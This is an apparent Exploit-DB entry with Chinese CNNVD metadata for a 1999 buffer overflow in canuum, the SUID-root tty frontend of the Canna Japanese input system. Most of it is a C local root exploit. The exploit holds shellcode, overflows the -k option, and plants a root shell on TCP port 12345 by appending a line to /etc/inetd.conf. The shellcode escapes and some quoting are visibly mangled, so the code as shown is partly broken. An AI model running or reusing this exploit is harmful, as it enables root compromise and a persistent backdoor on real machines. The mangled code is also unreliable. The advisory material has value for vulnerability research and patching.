https://www.exploit-db.com/exploits/19583
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199911-011

用于Canna输入系统的canuum程序存在缓冲区溢出漏洞。本地用户可以获得根权限。

source: http://www.securityfocus.com/bid/758/info

Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese.

Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romaji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way.

Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion.

The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'canuum' program. Canuum is a Japanese input tty frontend for Canna using uum. Certain versions have a buffer overflow via unchecked user supplied data in the -k,-c,-n options.

Since this program is installed SUID root this attack will result in a root level compromise.

/*=============================================================================
   canuum Exploit for Linux 
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =============================================================================
*/
#include    <stdio.h>

#define RETADR   1676
#define MAXBUF   2000
#define JMP_OFS  0x200
#define NOP      0x90
#define SHELL    "/tmp/pp"
#define COMPILER "gcc"


char exec[60]= 
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff";
FILE *fp;

unsigned long get_sp(void)
{
    __asm__("movl %esp, %eax");
}

main()
{
    char            buf[MAXBUF+1];
    unsigned int    i,ip,sp;

    sprintf(buf,"%s.c",SHELL);
    if ((fp=fopen(buf,"w"))==NULL){
        printf("Can not write to %sn",buf);
        exit(1);
    }
    fprintf(fp,"main(){setuid(0);setgid(0);");
    fprintf(fp,"system("echo 12345 stream tcp nowait root /bin/sh sh -i");
    fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd");}n");
    fclose(fp);
    sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
    system(buf);

    memset(buf,'a',MAXBUF);
    buf[MAXBUF]=0;

    strcat(exec,SHELL);
    memcpy(buf+300,exec,strlen(exec));
    sp=get_sp();
    ip=sp+JMP_OFS;
    printf("Jumping address = %xnnn",ip);
    printf("Please execute following command after "Segmentation Fault"n");
    printf("ntelnet localhost 12345nnn");
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0);
}

来源:BID
名称:757
链接:http://www.securityfocus.com/bid/757